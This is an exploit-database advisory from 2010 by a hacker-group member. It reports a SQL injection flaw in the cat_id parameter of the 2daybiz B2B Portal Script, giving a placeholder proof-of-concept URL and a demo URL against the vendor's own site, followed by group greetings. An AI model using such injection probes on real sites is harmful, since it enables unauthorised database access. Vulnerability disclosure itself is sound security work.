2daybiz B2B Portal Script suffers from a remote SQL injection vulnerability.
f21c22f477dd5406504394bc12292d7f4280c443a3329bd68c146b0eebb58ed3
# Exploit Title: 2daybiz B2B Portal Script Sql Injection
# Date: 25/06/2010
# Author: r45c4l
# Email: r45c4l[at]hotmail[dot]com
# Site : www.garage4hackers.com
# Script url: http://www.2daybiz.com/b2bportal_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()
:::::::::::::::::::::::::
:::::::::::::::::::::::::
=================Exploit======
---Indian Cyber warriors---
[ EXPL0!T ]
SQL Injection
p0c - www.site.com/products/business2business/selling_buy_leads1.php?cat_id=[SQLI]
dem0 - http://www.2daybiz.com/products/business2business/selling_buy_leads1.php?cat_id=181%27
===========================================================
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Sandeep, Th3 RDX,
Vaibhav, All members of ICW and Hackers Garage, and all Indian Hackers
Greetz to: Lucky and Atul and team ICA
PROUD TO BE AN INDIAN
c0d3 for motherland, h4ck for motherland
Special Greetz to : www.hack0wn.com www.exploits-db.com www.inj3ct0r.com
=== End () ====